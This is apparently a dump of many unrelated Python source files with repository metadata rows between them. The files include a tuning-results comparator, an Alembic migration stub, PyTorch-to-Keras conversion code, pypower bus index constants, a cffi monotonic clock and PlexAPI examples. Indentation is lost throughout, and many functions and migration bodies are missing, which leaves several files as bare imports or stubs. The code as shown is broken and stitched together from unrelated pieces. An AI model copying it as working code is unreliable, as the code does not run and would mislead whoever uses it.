] | 3 | 2019-04-21T06:28:00.000Z | 2022-01-20T15:39:34.000Z | params_tuning/ls_iter_n/out_comparator.py | bleakTwig/ophs_grasp | 3e3986154d096a476805269cb818f8c8709a7bda | [
"MIT"
] | 1 | 2020-03-08T07:21:52.000Z | 2022-01-20T15:40:04.000Z | params_tuning/ls_iter_n/out_comparator.py | bleakTwig/ophs_grasp | 3e3986154d096a476805269cb818f8c8709a7bda | [
"MIT"
] | 2 | 2019-11-13T13:05:06.000Z | 2020-05-21T18:09:03.000Z | INSTANCES = 405
ITERS = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 50, 100]
N_ITERS = len(ITERS)
# === RESULTS GATHERING ====================================================== #
# results_m is a [INSTANCES][N_ITERS] matrix to store every test result
results_m = [[0 for x in range(N_ITERS)] for y in range(INSTANCES)]
for I in range(N_ITERS):
fin = open("tests/" + str(ITERS[I]))
out = fin.read()
fin.close()
counter = 0
for line in out.splitlines():
results_m[counter][I] = int(line)
counter += 1
# === CALCULATING AVERAGES =================================================== #
averages = [0.0 for x in range(N_ITERS)]
for I in range(INSTANCES):
for J in range(N_ITERS):
results_m[I][J] = results_m[I][J] - results_m[I][0]
if (results_m[I][N_ITERS-1] != 0):
results_m[I][J] = float(results_m[I][J] / results_m[I][N_ITERS-1])
averages[J] += results_m[I][J]
for J in range(N_ITERS):
averages[J] = averages[J]/INSTANCES
for J in range(N_ITERS-1, 1, -1):
averages[J] -= averages[J-1]
# === PRINTING RESULTS ======================================================= #
print("========================================")
print(" all tests:")
for J in range(1, N_ITERS):
if (ITERS[J] < 10):
print(" " + str(ITERS[J]) + ": " + str(100 * averages[J]) + '%')
elif (ITERS[J] < 100):
print(" " + str(ITERS[J]) + ": " + str(100 * averages[J]) + '%')
else:
print(" " + str(ITERS[J]) + ": " + str(100 * averages[J]) + '%')
print("========================================")
# ============================================================================ #
| 36.531915 | 95 | 0.447292 |
36770786861f14e087df15911777504f6f97449c | 1,064 | py | Python | glim_extensions/jslint/jslint.py | aacanakin/glim-extensions | 75cf1e857abd717645db85f273650c0d883c55f2 | [
"MIT"
] | 2 | 2015-01-06T19:21:44.000Z | 2019-06-14T13:04:51.000Z | glim_extensions/jslint/jslint.py | aacanakin/glim-extensions | 75cf1e857abd717645db85f273650c0d883c55f2 | [
"MIT"
] | 2 | 2015-02-20T07:40:47.000Z | 2015-02-20T07:44:42.000Z | glim_extensions/jslint/jslint.py | aacanakin/glim-extensions | 75cf1e857abd717645db85f273650c0d883c55f2 | [
"MIT"
] | null | null | null | import subprocess
import os
from glim.core import Facade
from glim import Log
from glim import paths
DEFAULT_CONFIG = {
'source': os.path.join(paths.APP_PATH, 'assets/js'),
}
| 23.644444 | 81 | 0.641917 |
3678a2ecf4023c3c9633a878432bfa1234ee6123 | 777 | py | Python | migrations/versions/16d42da99601_.py | osmearth/tasking-manager | b9938496c30eedc44974b29858f803b218c7235b | [
"BSD-2-Clause"
] | null | null | null | migrations/versions/16d42da99601_.py | osmearth/tasking-manager | b9938496c30eedc44974b29858f803b218c7235b | [
"BSD-2-Clause"
] | 3 | 2020-03-24T16:28:34.000Z | 2021-02-02T21:52:03.000Z | migrations/versions/16d42da99601_.py | osmearth/tasking-manager | b9938496c30eedc44974b29858f803b218c7235b | [
"BSD-2-Clause"
] | 1 | 2019-10-02T21:59:00.000Z | 2019-10-02T21:59:00.000Z | """empty message
Revision ID: 16d42da99601
Revises: deec8123583d
Create Date: 2018-08-23 00:18:10.765086
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '16d42da99601'
down_revision = '30b091260689'
branch_labels = None
depends_on = None
| 25.9 | 93 | 0.731017 |
3678d7bd470a57edb6cab13b9b66d70383e92ec4 | 457 | py | Python | data_augmentation/eda/image/transforms/normalize.py | simran-arora/emmental-tutorials | 249a82a57be58e960408a45e2e0daa72980d210a | [
"MIT"
] | null | null | null | data_augmentation/eda/image/transforms/normalize.py | simran-arora/emmental-tutorials | 249a82a57be58e960408a45e2e0daa72980d210a | [
"MIT"
] | null | null | null | data_augmentation/eda/image/transforms/normalize.py | simran-arora/emmental-tutorials | 249a82a57be58e960408a45e2e0daa72980d210a | [
"MIT"
] | null | null | null | import torchvision.transforms as transforms
from eda.image.transforms.transform import EdaTransform
| 28.5625 | 64 | 0.695842 |
36794b18530c7dfbe909565c90c9010f724df448 | 150 | py | Python | scripts.py | intendednull/lcu_connectorpy | deb1050fe3a3fdc513d63d2ab08ab92bc86ac2f9 | [
"MIT"
] | null | null | null | scripts.py | intendednull/lcu_connectorpy | deb1050fe3a3fdc513d63d2ab08ab92bc86ac2f9 | [
"MIT"
] | 1 | 2020-03-05T18:54:17.000Z | 2020-03-05T18:54:17.000Z | scripts.py | Zer0897/lcu_connectorpy | deb1050fe3a3fdc513d63d2ab08ab92bc86ac2f9 | [
"MIT"
] | 1 | 2020-10-06T01:10:13.000Z | 2020-10-06T01:10:13.000Z | import subprocess as subp
| 16.666667 | 47 | 0.52 |
3679ff23a41d265863b5224bc85c9f29783e0ef7 | 894 | py | Python | lemon_markets/tests/ctest_account.py | leonhma/lemon_markets_sdk | 2739799e6f6b8fa781af8b19e92c32068565cdd3 | [
"MIT"
] | null | null | null | lemon_markets/tests/ctest_account.py | leonhma/lemon_markets_sdk | 2739799e6f6b8fa781af8b19e92c32068565cdd3 | [
"MIT"
] | 1 | 2021-09-29T16:32:49.000Z | 2021-09-29T16:56:26.000Z | lemon_markets/tests/ctest_account.py | leonhma/lemon_markets_sdk | 2739799e6f6b8fa781af8b19e92c32068565cdd3 | [
"MIT"
] | null | null | null | from os import environ
from unittest import TestCase
from lemon_markets.account import Account
client_id = environ.get('CLIENT_ID')
client_token = environ.get('CLIENT_TOKEN')
| 27.9375 | 62 | 0.682327 |
367a9bce756118fb872d4491d7235406c6ce91d1 | 95 | py | Python | Right_Angle/trans.py | kameranis/IEEExtreme-8.0 | 8ba80224b5218eb759ca91508b4f169788ff5571 | [
"MIT"
] | null | null | null | Right_Angle/trans.py | kameranis/IEEExtreme-8.0 | 8ba80224b5218eb759ca91508b4f169788ff5571 | [
"MIT"
] | null | null | null | Right_Angle/trans.py | kameranis/IEEExtreme-8.0 | 8ba80224b5218eb759ca91508b4f169788ff5571 | [
"MIT"
] | null | null | null | N=input()
num = [int(raw_input().split()[2]) for i in range(N)]
num = list(set(num))
print num
| 19 | 53 | 0.631579 |
367c224eb4987891fba2710e35832c7a65cc5a9c | 1,799 | py | Python | magnetos/crypto/caesar_rail_fence_crack.py | restran/magnetos | f48dcd7450a46d619dcbe64c11c9aa1c119cd307 | [
"MIT"
] | 20 | 2018-10-16T05:00:52.000Z | 2022-02-23T01:56:04.000Z | magnetos/crypto/caesar_rail_fence_crack.py | restran/magnetos | f48dcd7450a46d619dcbe64c11c9aa1c119cd307 | [
"MIT"
] | null | null | null | magnetos/crypto/caesar_rail_fence_crack.py | restran/magnetos | f48dcd7450a46d619dcbe64c11c9aa1c119cd307 | [
"MIT"
] | 12 | 2018-10-16T05:00:32.000Z | 2021-12-13T08:58:06.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
"""
,
sfxjkxtfhwz9xsmijk6j6sthhj
flagNSFOCUS{xxx}
"""
if __name__ == '__main__':
main()
| 22.4875 | 97 | 0.487493 |
367c714d55fb20ba8891983bb594b981f3b9fa1a | 470 | py | Python | backend/client/admin.py | katserafine/GenieHub | b7542b5b2a5dfc137b763a08b64d43e1dbe53af7 | [
"MIT"
] | 1 | 2020-06-24T04:44:33.000Z | 2020-06-24T04:44:33.000Z | backend/client/admin.py | katserafine/GenieHub | b7542b5b2a5dfc137b763a08b64d43e1dbe53af7 | [
"MIT"
] | null | null | null | backend/client/admin.py | katserafine/GenieHub | b7542b5b2a5dfc137b763a08b64d43e1dbe53af7 | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.utils.html import format_html
from django.contrib.auth.models import Permission
from .models import *
# Register your models here.
admin.site.register(projectWorker)
admin.site.register(project)
admin.site.register(leadContact)
admin.site.register(Client, ClientAdmin) | 29.375 | 49 | 0.785106 |
367eac1a7db087dfdc9d4b14754a4dfc278aae39 | 1,310 | py | Python | dataset.py | donghankim/comma_ai_speed_challenge | b75c1dcb556ffb582c20b4540938989e7ecaadb7 | [
"MIT"
] | null | null | null | dataset.py | donghankim/comma_ai_speed_challenge | b75c1dcb556ffb582c20b4540938989e7ecaadb7 | [
"MIT"
] | null | null | null | dataset.py | donghankim/comma_ai_speed_challenge | b75c1dcb556ffb582c20b4540938989e7ecaadb7 | [
"MIT"
] | null | null | null | import os
import pandas as pd
import numpy as np
import torch
from torchvision import transforms
from torch.utils.data import Dataset
import matplotlib.pyplot as plt
from skimage import io
import pdb
| 28.478261 | 126 | 0.625954 |
367f5454bf00d15f020b33f86f78e7b9b5ef7a9d | 1,114 | py | Python | pairwise/pairwise_theano.py | numfocus/python-benchmarks | 75db94b33e3d8bd2d6504e21a9cb74e79e04b4f9 | [
"MIT"
] | 31 | 2015-05-15T17:53:50.000Z | 2022-01-14T12:49:19.000Z | pairwise/pairwise_theano.py | nouiz/python-benchmarks | 73ba6479f4243679dc06b6d204b5db3226e0a5a6 | [
"MIT"
] | null | null | null | pairwise/pairwise_theano.py | nouiz/python-benchmarks | 73ba6479f4243679dc06b6d204b5db3226e0a5a6 | [
"MIT"
] | 8 | 2015-02-25T09:12:03.000Z | 2020-12-28T18:06:22.000Z | # Authors: James Bergstra
# License: MIT
import theano
import theano.tensor as TT
benchmarks = (
pairwise_theano_tensor_prepare('float32'),
pairwise_theano_tensor_prepare('float64'),
pairwise_theano_blas_prepare('float32'),
pairwise_theano_blas_prepare('float64'),
)
| 28.564103 | 64 | 0.611311 |
367fa896207ba09a4df55eba008b8c69a5715343 | 3,396 | py | Python | pandapower/pypower/idx_bus.py | bergkvist/pandapower | 450bbd99888e7e5913905b20b848ee1cfa669ee8 | [
"BSD-3-Clause"
] | 1 | 2020-04-09T08:03:48.000Z | 2020-04-09T08:03:48.000Z | pandapower/pypower/idx_bus.py | bergkvist/pandapower | 450bbd99888e7e5913905b20b848ee1cfa669ee8 | [
"BSD-3-Clause"
] | 1 | 2019-04-17T14:58:53.000Z | 2019-04-17T14:58:53.000Z | pandapower/pypower/idx_bus.py | gdgarcia/pandapower | 630e3278ca012535f78282ae73f1b86f3fe932fc | [
"BSD-3-Clause"
] | 1 | 2020-11-03T01:40:38.000Z | 2020-11-03T01:40:38.000Z | # -*- coding: utf-8 -*-
# Copyright 1996-2015 PSERC. All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.
# Copyright (c) 2016-2020 by University of Kassel and Fraunhofer Institute for Energy Economics
# and Energy System Technology (IEE), Kassel. All rights reserved.
"""Defines constants for named column indices to bus matrix.
Some examples of usage, after defining the constants using the line above,
are::
Pd = bus[3, PD] # get the real power demand at bus 4
bus[:, VMIN] = 0.95 # set the min voltage magnitude to 0.95 at all buses
The index, name and meaning of each column of the bus matrix is given
below:
columns 0-12 must be included in input matrix (in case file)
0. C{BUS_I} bus number (1 to 29997)
1. C{BUS_TYPE} bus type (1 = PQ, 2 = PV, 3 = ref, 4 = isolated)
2. C{PD} real power demand (MW)
3. C{QD} reactive power demand (MVAr)
4. C{GS} shunt conductance (MW at V = 1.0 p.u.)
5. C{BS} shunt susceptance (MVAr at V = 1.0 p.u.)
6. C{BUS_AREA} area number, 1-100
7. C{VM} voltage magnitude (p.u.)
8. C{VA} voltage angle (degrees)
9. C{BASE_KV} base voltage (kV)
10. C{ZONE} loss zone (1-999)
11. C{VMAX} maximum voltage magnitude (p.u.)
12. C{VMIN} minimum voltage magnitude (p.u.)
columns 13-16 are added to matrix after OPF solution
they are typically not present in the input matrix
(assume OPF objective function has units, u)
13. C{LAM_P} Lagrange multiplier on real power mismatch (u/MW)
14. C{LAM_Q} Lagrange multiplier on reactive power mismatch (u/MVAr)
15. C{MU_VMAX} Kuhn-Tucker multiplier on upper voltage limit (u/p.u.)
16. C{MU_VMIN} Kuhn-Tucker multiplier on lower voltage limit (u/p.u.)
additional constants, used to assign/compare values in the C{BUS_TYPE} column
1. C{PQ} PQ bus
2. C{PV} PV bus
3. C{REF} reference bus
4. C{NONE} isolated bus
@author: Ray Zimmerman (PSERC Cornell)
@author: Richard Lincoln
"""
# define bus types
PQ = 1
PV = 2
REF = 3
NONE = 4
# define the indices
BUS_I = 0 # bus number (1 to 29997)
BUS_TYPE = 1 # bus type
PD = 2 # Pd, real power demand (MW)
QD = 3 # Qd, reactive power demand (MVAr)
GS = 4 # Gs, shunt conductance (MW at V = 1.0 p.u.)
BS = 5 # Bs, shunt susceptance (MVAr at V = 1.0 p.u.)
BUS_AREA = 6 # area number, 1-100
VM = 7 # Vm, voltage magnitude (p.u.)
VA = 8 # Va, voltage angle (degrees)
BASE_KV = 9 # baseKV, base voltage (kV)
ZONE = 10 # zone, loss zone (1-999)
VMAX = 11 # maxVm, maximum voltage magnitude (p.u.)
VMIN = 12 # minVm, minimum voltage magnitude (p.u.)
# included in opf solution, not necessarily in input
# assume objective function has units, u
LAM_P = 13 # Lagrange multiplier on real power mismatch (u/MW)
LAM_Q = 14 # Lagrange multiplier on reactive power mismatch (u/MVAr)
MU_VMAX = 15 # Kuhn-Tucker multiplier on upper voltage limit (u/p.u.)
MU_VMIN = 16 # Kuhn-Tucker multiplier on lower voltage limit (u/p.u.)
# Additional pandapower extensions to ppc
CID = 13 # coefficient of constant current load at rated voltage in range [0,1]
CZD = 14 # coefficient of constant impedance load at rated voltage in range [0,1]
bus_cols = 15
| 38.157303 | 95 | 0.654594 |
3682efa29fdf319c29d1fc0f9982530abedd7083 | 2,586 | py | Python | example.py | vinhntb/geo_redis | 2b79ab844bdf1a56e442393911437c76449bedb0 | [
"MIT"
] | null | null | null | example.py | vinhntb/geo_redis | 2b79ab844bdf1a56e442393911437c76449bedb0 | [
"MIT"
] | null | null | null | example.py | vinhntb/geo_redis | 2b79ab844bdf1a56e442393911437c76449bedb0 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# !/usr/bin/python
#
# example.py
#
#
# Created by vinhntb on 6/27/17.
# Copyright (c) 2017 geo_redis. All rights reserved.
import sys
from bunch import Bunch
from constants import GEO_USER_VISITED
from geo_redis.geo_redis import GeoRedis
if __name__ == '__main__':
main(sys.argv)
| 35.424658 | 119 | 0.655066 |
36838e2dabeef85a22ebde7d229426841026be1e | 2,584 | py | Python | f5/bigip/tm/asm/policies/test/functional/test_signatures.py | nghia-tran/f5-common-python | acb23a6e5830a119b460c19a578654113419f5c3 | [
"Apache-2.0"
] | 272 | 2016-02-23T06:05:44.000Z | 2022-02-20T02:09:32.000Z | f5/bigip/tm/asm/policies/test/functional/test_signatures.py | nghia-tran/f5-common-python | acb23a6e5830a119b460c19a578654113419f5c3 | [
"Apache-2.0"
] | 1,103 | 2016-02-11T17:48:03.000Z | 2022-02-15T17:13:37.000Z | f5/bigip/tm/asm/policies/test/functional/test_signatures.py | nghia-tran/f5-common-python | acb23a6e5830a119b460c19a578654113419f5c3 | [
"Apache-2.0"
] | 167 | 2016-02-11T17:48:21.000Z | 2022-01-17T20:13:05.000Z | # Copyright 2017 F5 Networks Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import pytest
from f5.bigip.tm.asm.policies.signatures import Signature
from f5.sdk_exception import UnsupportedOperation
from requests.exceptions import HTTPError
| 38 | 74 | 0.705882 |
3686fecb8e7eab5dbc7a6f5508649140b2813832 | 9,711 | py | Python | functions.py | anoopjakob/flowers_classifier | 554a7a408dbc4b40cee8098bada548bcea25d80f | [
"MIT"
] | null | null | null | functions.py | anoopjakob/flowers_classifier | 554a7a408dbc4b40cee8098bada548bcea25d80f | [
"MIT"
] | null | null | null | functions.py | anoopjakob/flowers_classifier | 554a7a408dbc4b40cee8098bada548bcea25d80f | [
"MIT"
] | null | null | null | import torch
import numpy as np
from PIL import Image
from torch import nn
from torch import optim
import torch.nn.functional as F
from torchvision import datasets, transforms, models
# changing the already created codes in jupyter notebbooks to a functions
# loading and processing image to use in the final stage of prediction
# this function gets a image path and converts it into tensor and then to numpy array of optimum requirements
def process_image(image):
''' Scales, crops, and normalizes a PIL image for a PyTorch model,
returns an Numpy array
'''
# DONE: Process a PIL image for use in a PyTorch model
# Converting image to PIL image
pil_im = Image.open(f'{image}' + '.jpg')
# transforming
transform = transforms.Compose([transforms.Resize(256),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406],
[0.229, 0.224, 0.225])])
pil_tfd = transform(pil_im)
# Converting to Numpy array
array_im_tfd = np.array(pil_tfd)
#return array_im_tfd
# Converting to torch tensor from Numpy array
img_tensor = torch.from_numpy(array_im_tfd).type(torch.FloatTensor)
# Adding dimension
img_add_dim = img_tensor.unsqueeze_(0)
return img_add_dim
# converting the new classifer code in jupyter notebook to function
| 32.69697 | 109 | 0.571105 |
3689044eb37e849dc16de8bc84d7a338cb4ea424 | 4,232 | py | Python | monotonic_cffi.py | rkyoto/monotonic_cffi | 8b2394ee65bcf16ab8d47f53db013ed39289a8d4 | [
"Apache-2.0"
] | 1 | 2016-05-03T06:51:10.000Z | 2016-05-03T06:51:10.000Z | monotonic_cffi.py | rkyoto/monotonic_cffi | 8b2394ee65bcf16ab8d47f53db013ed39289a8d4 | [
"Apache-2.0"
] | null | null | null | monotonic_cffi.py | rkyoto/monotonic_cffi | 8b2394ee65bcf16ab8d47f53db013ed39289a8d4 | [
"Apache-2.0"
] | null | null | null |
"""
monotonic_cffi:
Just a cffi version of existing monotonic module on PyPI. See:
https://pypi.python.org/pypi/monotonic
Tested with PyPy 2.6.1 and 4.0.0 on Windows, OSX and Ubuntu.
Copyright 2015 Matt Jones <mattjones1811@hotmail.com>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import ctypes.util
import os
import platform
import re
import sys
import time
from cffi import FFI
__all__ = ('monotonic',)
def get_os_release():
"""Get the leading numeric component of the OS release."""
return re.match('[\d.]+', platform.release()).group(0)
def compare_versions(v1, v2):
"""Compare two version strings."""
return cmp(normalize(v1), normalize(v2))
try:
monotonic = time.monotonic
except AttributeError:
try:
ffi = FFI()
if sys.platform == 'darwin': # OS X, iOS
# using mach_absolute_time
ffi.cdef('''
uint64_t mach_absolute_time(void);
typedef struct {
uint32_t numer;
uint32_t denom;
} mach_timebase_info_data_t;
int mach_timebase_info(mach_timebase_info_data_t *info);
''')
libc = ffi.dlopen('/usr/lib/libc.dylib')
timebase = ffi.new('mach_timebase_info_data_t *')
libc.mach_timebase_info(timebase)
ticks_per_second = timebase[0].numer / timebase[0].denom * 1.0e9
def monotonic():
"""Monotonic clock, cannot go backward."""
return libc.mach_absolute_time() / ticks_per_second
elif (sys.platform.startswith('win32')
or sys.platform.startswith('cygwin')):
# Windows Vista / Windows Server 2008 or newer.
ffi.cdef('''
uint64_t GetTickCount64(void);
''')
kernel32 = ffi.dlopen('kernel32.dll')
def monotonic():
"""Monotonic clock, cannot go backward."""
return kernel32.GetTickCount64() / 1000.0
else:
# using clock_gettime
ffi.cdef('''
struct timespec {
long tv_sec;
long tv_nsec;
};
int clock_gettime(long clk_id, struct timespec *tp);
''')
try:
so = ffi.dlopen(ctypes.util.find_library('c'))
clock_gettime = so.clock_gettime
except AttributeError:
so = ffi.dlopen(ctypes.util.find_library('rt'))
clock_gettime = so.clock_gettime
tp = ffi.new('struct timespec *')
if sys.platform.startswith('linux'):
if compare_versions(get_os_release(), '2.6.28') > 0:
CLOCK_MONOTONIC = 4 # CLOCK_MONOTONIC_RAW
else:
CLOCK_MONOTONIC = 1
elif sys.platform.startswith('freebsd'):
CLOCK_MONOTONIC = 4
elif sys.platform.startswith('sunos5'):
CLOCK_MONOTONIC = 4
elif 'bsd' in sys.platform:
CLOCK_MONOTONIC = 3
def monotonic():
"""Monotonic clock, cannot go backward."""
if clock_gettime(CLOCK_MONOTONIC, tp):
errno = ffi.errno
raise OSError(errno, os.strerror(errno))
return tp[0].tv_sec + tp[0].tv_nsec / 1.0e9
# Perform a sanity-check.
if monotonic() - monotonic() > 0:
raise ValueError('monotonic() is not monotonic!')
except Exception:
raise RuntimeError('no suitable implementation for this system')
| 31.117647 | 76 | 0.577977 |
3689c5f926602b9755b6a68b88197732ca844b70 | 1,141 | py | Python | renormalizer/mps/tests/test_mpproperty.py | shuaigroup/Renormalizer | 963d52efdaa247320e781a96b64d41c9cadf6f0e | [
"Apache-2.0"
] | 27 | 2019-09-02T08:35:01.000Z | 2022-02-22T08:18:02.000Z | renormalizer/mps/tests/test_mpproperty.py | shuaigroup/Renormalizer | 963d52efdaa247320e781a96b64d41c9cadf6f0e | [
"Apache-2.0"
] | 54 | 2019-08-30T12:18:39.000Z | 2022-03-20T13:23:07.000Z | renormalizer/mps/tests/test_mpproperty.py | shuaigroup/Renormalizer | 963d52efdaa247320e781a96b64d41c9cadf6f0e | [
"Apache-2.0"
] | 6 | 2019-09-10T03:25:28.000Z | 2021-11-20T18:41:58.000Z | # -*- coding: utf-8 -*-
# Author: Jiajun Ren <jiajunren0522@gmail.com>
# Weitang Li <liwt31@163.com>
import pytest
from renormalizer.mps import Mps, Mpo, MpDm, ThermalProp
from renormalizer.mps.backend import np
from renormalizer.tests.parameter import holstein_model
from renormalizer.utils import Quantity
creation_operator = Mpo.onsite(
holstein_model, r"a^\dagger", dof_set={holstein_model.mol_num // 2}
)
| 28.525 | 71 | 0.725679 |
368bbba6590cf73d81aef3506e5c56c32a3d71dc | 4,661 | py | Python | pelee/pth2keras.py | DragonGongY/mmdet-ui | 41582b0ee2b3d9c631ee48540ca8a6d87be362e0 | [
"Apache-2.0"
] | 1 | 2021-12-24T05:28:20.000Z | 2021-12-24T05:28:20.000Z | pelee/pth2keras.py | DragonGongY/mmdet-ui | 41582b0ee2b3d9c631ee48540ca8a6d87be362e0 | [
"Apache-2.0"
] | null | null | null | pelee/pth2keras.py | DragonGongY/mmdet-ui | 41582b0ee2b3d9c631ee48540ca8a6d87be362e0 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import sys
import numpy as np
import torch
from torch.autograd import Variable
from pytorch2keras.converter import pytorch_to_keras
import torchvision
import os.path as osp
import os
os.environ['KERAS_BACKEND'] = 'tensorflow'
from keras import backend as K
K.clear_session()
K.set_image_dim_ordering('tf')
import test
import tensorflow as tf
import torch
from torch import nn
from torchsummary import summary
from torch.autograd import Variable
import tensorflow
from tensorflow.python.keras.backend import get_session
from tensorflow.python.keras.models import load_model
from tensorflow.python.framework import graph_util, graph_io
from keras.utils import plot_model
# K.set_image_data_format('channels_first') 0
import cv2
os.environ["CUDA_VISIBLE_DEVICES"] = "1"
import numpy as np
if __name__ == '__main__':
##step1: load pytorch model
# model = test.main()
model = torch.load("/home/dp/Desktop/algorithms/Pelee.Pytorch/weights/Pelee_COCO_size304_epoch40.pth")
model = model.cuda() ##cuda
summary(model, (3, 304, 304)) ##summary(model, (channels, pic_h, pic_w))
model.eval()
##step2: pytorch .pth to keras .h5 and test .h5
input_np = np.random.uniform(0, 1, (1, 3, 304, 304))
input_var = Variable(torch.FloatTensor(input_np)).cuda() ##cuda
# input_var = Variable(torch.FloatTensor(input_np))
k_model = pytorch_to_keras(model, input_var, (3, 304, 304,), verbose=True, name_policy='short')
k_model.summary()
k_model.save('my_model.h5')
output = model(input_var)
check_error(output, k_model, input_np) ## check the error between .pth and .h5
##step3: load .h5 and .h5 to .pb
tf.keras.backend.clear_session()
tf.keras.backend.set_learning_phase(0) ##
my_model = load_model('my_model.h5')
h5_to_pb(my_model, output_dir='./model/', model_name='model.pb')
##step4: load .pb and test .pb
pb_path = './model/model.pb'
with tf.Session() as sess:
tf.global_variables_initializer().run()
graph_def = tf.GraphDef()
with tf.gfile.GFile(pb_path, 'rb') as f:
graph_def.ParseFromString(f.read())
_ = tf.import_graph_def(graph_def, name="")
pic_file = './datasets/data'
pic_list = os.listdir(pic_file)
for name in pic_list:
img_path = '{}/{}'.format(pic_file, name)
im = cv2.imread(img_path)
im = cv2.cvtColor(im, cv2.COLOR_BGR2RGB)
img = cv2.resize(im, (304, 304))
img = np.asarray(img, dtype=np.float32)
img = normalization0_1(img)
img_data = np.transpose(img, (2, 0, 1))
img_input = np.asarray(img_data, dtype=np.float32)[np.newaxis, :, :, :]
input = sess.graph.get_tensor_by_name("input_0:0")
output = sess.graph.get_tensor_by_name("output_0_1:0")
pre_label = sess.run([output], feed_dict={input: img_input})
pre_label = pre_label[0][0]
# print(pre_label)
pre_label = np.argmax(softmax(pre_label))
print('------------------------')
print('{} prelabel is {}'.format(pic_name, pre_label))
| 33.292857 | 106 | 0.657584 |
368cb9e63af4447a8e0ac9131b7ee4fdf5b50b5c | 1,997 | py | Python | marketservice/models.py | mrprofessor/farmersmarket | 6c835ccb458a0533fe79a9a264fe5a084d647db3 | [
"MIT"
] | null | null | null | marketservice/models.py | mrprofessor/farmersmarket | 6c835ccb458a0533fe79a9a264fe5a084d647db3 | [
"MIT"
] | null | null | null | marketservice/models.py | mrprofessor/farmersmarket | 6c835ccb458a0533fe79a9a264fe5a084d647db3 | [
"MIT"
] | null | null | null | from typing import List, Union
import json
# Breakdown coupon's description into quantifiable attributes
# For example: BOGO on coffee can be translated as an object
# with certain properties should look like
# bogo_obj.target = "CF1"
# bogo_obj.apply_on = "CF1"
# bogo_obj.discount = 100
# bogo_obj.discount_type = "percent"
# bogo_obj.trigger_limit = 1
# bogo_obj.limit = 0 # no limit
# bogo_obj.apply_all = False
| 25.602564 | 75 | 0.598398 |
368cd8469f10de7f8f6761744b6f6540ed7865bd | 649 | py | Python | sdk/eventhub/azure-eventhubs/azure/eventhub/eventprocessor/utils.py | gautam714/azure-sdk-for-python | 1741c199c42e8c85a2e14bc78195fd992837ef92 | [
"MIT"
] | null | null | null | sdk/eventhub/azure-eventhubs/azure/eventhub/eventprocessor/utils.py | gautam714/azure-sdk-for-python | 1741c199c42e8c85a2e14bc78195fd992837ef92 | [
"MIT"
] | null | null | null | sdk/eventhub/azure-eventhubs/azure/eventhub/eventprocessor/utils.py | gautam714/azure-sdk-for-python | 1741c199c42e8c85a2e14bc78195fd992837ef92 | [
"MIT"
] | null | null | null | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# -----------------------------------------------------------------------------------
import asyncio
| 38.176471 | 94 | 0.49923 |
368d248443117fe64f685790a5bf178a4f08ad05 | 4,409 | py | Python | tools/examples.py | Hellowlol/plexapi | 313fef4de80fec5a187f71b76e53c3333efcb2fd | [
"BSD-3-Clause"
] | 4 | 2016-11-18T07:01:03.000Z | 2018-05-03T07:45:36.000Z | tools/examples.py | phongsathorn2540/plexapi | 313fef4de80fec5a187f71b76e53c3333efcb2fd | [
"BSD-3-Clause"
] | 1 | 2016-12-06T15:03:09.000Z | 2016-12-06T15:03:09.000Z | tools/examples.py | Hellowlol/plexapi | 313fef4de80fec5a187f71b76e53c3333efcb2fd | [
"BSD-3-Clause"
] | 4 | 2018-01-04T20:15:26.000Z | 2021-01-26T20:32:28.000Z | # -*- coding: utf-8 -*-
"""
PlexAPI Examples
As of Plex version 0.9.11 I noticed that you must be logged in
to browse even the plex server locatewd at localhost. You can
run this example suite with the following command:
>> python examples.py -u <USERNAME> -p <PASSWORD> -s <SERVERNAME>
"""
import argparse, sys
from collections import defaultdict
from os.path import dirname, abspath
sys.path.append(dirname(dirname(abspath(__file__))))
from utils import fetch_server, iter_tests, register
if __name__ == '__main__':
# There are three ways to authenticate:
# 1. If the server is running on localhost, just run without any auth.
# 2. Pass in --username, --password, and --resource.
# 3. Pass in --baseurl, --token
parser = argparse.ArgumentParser(description='Run PlexAPI examples.')
parser.add_argument('-u', '--username', help='Username for your MyPlex account.')
parser.add_argument('-p', '--password', help='Password for your MyPlex account.')
parser.add_argument('-r', '--resource', help='Name of the Plex resource (requires user/pass).')
parser.add_argument('-b', '--baseurl', help='Baseurl needed for auth token authentication')
parser.add_argument('-t', '--token', help='Auth token (instead of user/pass)')
parser.add_argument('-q', '--example', help='Only run the specified example.')
parser.add_argument('-v', '--verbose', default=False, action='store_true', help='Print verbose logging.')
args = parser.parse_args()
plex, account = fetch_server(args)
for example in iter_tests(args.example):
example['func'](plex)
| 36.139344 | 109 | 0.6709 |
368eabb014f813c693697e1b58b1279e93227806 | 1,070 | py | Python | BowlingGame/bowling_game_test.py | WisWang/code-kata | 179188e4e42686807ab3691e0fb68edac08304be | [
"MIT"
] | 2 | 2019-06-17T03:31:13.000Z | 2019-06-17T03:31:16.000Z | BowlingGame/bowling_game_test.py | WisWang/code-kata | 179188e4e42686807ab3691e0fb68edac08304be | [
"MIT"
] | null | null | null | BowlingGame/bowling_game_test.py | WisWang/code-kata | 179188e4e42686807ab3691e0fb68edac08304be | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
